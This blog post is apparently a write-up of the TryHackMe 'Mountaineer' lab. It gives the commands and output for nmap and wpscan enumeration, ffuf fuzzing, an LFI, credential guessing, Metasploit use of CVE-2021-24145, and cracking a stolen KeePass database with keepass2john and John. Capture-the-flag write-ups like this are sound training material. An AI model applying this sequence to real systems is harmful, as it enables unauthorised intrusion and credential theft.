Sitemap
St3mw4s

St3mw4s

CTF Player | Cyber Security Analyst

Mountaineer Tryhackme

4 min readNov 21, 2024

Nmap scan

nmap -sC -sV -vvv ip

22/tcp open ssh syn-ack OpenSSH 8.9p1 Ubuntu 3ubuntu0.6 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 256 86:09:80:28:d4:ec:f1:f9:bc:a3:f7:bb:cc:0f:68:90 (ECDSA) | ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBNzmv/TK6UXAtIESme5E7W0pfj5dk+kPY3cMerOGVgcf9bNdQdGWEEABgXXUMsskQ4eQolhoIslOd2RToByLuxQ= | 256 82:5a:2d:0c:77:83:7c:ea:ae:49:37:db:03:5a:03:08 (ED25519) |ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIEdMUpyUtqgnN8X2w+jbTbgZLgZ03b5MqorlzQVmAleC 80/tcp open http syn-ack nginx 1.18.0 (Ubuntu) | http-methods: | Supported Methods: GET HEAD |_http-title: Welcome to nginx! |_http-server-header: nginx/1.18.0 (Ubuntu) Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

FUZZING for hidden directories

Press enter or click to view image in full size

Remember also to fuzz /wordpress

Add mountaineer.thm to hosts file

Enumaration of wordpress

wpscan — url http://mountaineer.thm/wordpress/ -e ap,vt,tt,cb,dbe,u,m

Commands breakdown

  1. wpscan --url http://mountaineer.thm/wordpress/
  • Specifies the target WordPress website to scan.
  1. -e
  • Enables enumeration. The arguments following this flag determine what specific elements to enumerate.
  1. Enumeration Options:
  • ap: All plugins (detect and list all installed plugins).
  • vt: Vulnerable themes (checks for themes with known vulnerabilities).
  • tt: Timthumb files (looks for vulnerable Timthumb scripts, which are often exploited).
  • cb: Config backups (looks for exposed configuration backup files).
  • dbe: Database exports (checks for accessible database dumps).
  • u: Users (enumerates WordPress users, which could be used for further attacks like brute-forcing logins).
  • m: Media (searches for accessible media files that might leak information). Found users [i] User(s) Identified:

[+] ChoOyu | Found By: Author Posts — Display Name (Passive Detection) | Confirmed By: | Rss Generator (Passive Detection) | Login Error Messages (Aggressive Detection)

[+] Everest | Found By: Author Posts — Display Name (Passive Detection) | Confirmed By: | Rss Generator (Passive Detection) | Login Error Messages (Aggressive Detection)

[+] MontBlanc | Found By: Author Posts — Display Name (Passive Detection) | Confirmed By: | Rss Generator (Passive Detection) | Login Error Messages (Aggressive Detection)

[+] admin | Found By: Author Posts — Display Name (Passive Detection) | Confirmed By: | Rss Generator (Passive Detection) | Author Id Brute Forcing — Author Pattern (Aggressive Detection) | Login Error Messages (Aggressive Detection)

Get St3mw4s’s stories in your inbox

Join Medium for free to get updates from this writer.

[+] montblanc | Found By: Author Id Brute Forcing — Author Pattern (Aggressive Detection) | Confirmed By: Login Error Messages (Aggressive Detection)

[+] everest | Found By: Author Id Brute Forcing — Author Pattern (Aggressive Detection) | Confirmed By: Login Error Messages (Aggressive Detection)

[+] chooyu | Found By: Author Id Brute Forcing — Author Pattern (Aggressive Detection) | Confirmed By: Login Error Messages (Aggressive Detection)

[+] k2 | Found By: Author Id Brute Forcing — Author Pattern (Aggressive Detection) | Confirmed By: Login Error Messages (Aggressive Detection)

And a deprecated Plugin Modern Events Calendar Lite from the wpscan output Fuzzing the wordpress ffuf -u ‘http://mountaineer.thm/wordpress/FUZZ' -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-small.txt -mc all -t 100 -ic -fs 162 found /images

LFI using burpsuite

Press enter or click to view image in full size

VHOST discovery from the config file

Press enter or click to view image in full size

vhost adminroundcubemail.thm and adding it to the etc/hosts file using username we found earlier k2:k2

Press enter or click to view image in full size

Reading inbox mails we find password of user k2

Remember CVE-2021–24145 we found during wpscan due to deprecated Plugin Modern Events Calendar Lite? Use metasploit and set the necessary options

Press enter or click to view image in full size

Interesting files after upgrading the shell

Press enter or click to view image in full size

Transfer Backup.kdbx to local machine using netcat and opening the file it requires a password using the following information to create a wordlist tool: https://github.com/Mebus/cupp

Generating hash for the db

keepass2john Backup.kdbx > keepasshash

john keepasshash — wordlist=/home/stemwas/cupp/mount.txt Using default input encoding: UTF-8 Loaded 1 password hash (KeePass [SHA256 AES 32/64]) Cost 1 (iteration count) is 60000 for all loaded hashes Cost 2 (version) is 2 for all loaded hashes Cost 3 (algorithm [0=AES 1=TwoFish 2=ChaCha]) is 0 for all loaded hashes Will run 4 OpenMP threads Press ‘q’ or Ctrl-C to abort, almost any other key for status

REDACTED (Backup)
1g 0:00:00:03 DONE (2024–11–20 13:36) 0.2688g/s 86.02p/s 86.02c/s 86.02C/s Lhotse56055..Lhotse5805 Use the “ — show” option to display all of the cracked passwords reliably Session completed

ssh into the machine after opening the db and use the password in the file.

Press enter or click to view image in full size

local.txt

Press enter or click to view image in full size

Root.txt

Checking out history of the recent run commands and we can log in as root user.

Press enter or click to view image in full size

--

--

St3mw4s
St3mw4s

Written by St3mw4s

CTF Player | Cyber Security Analyst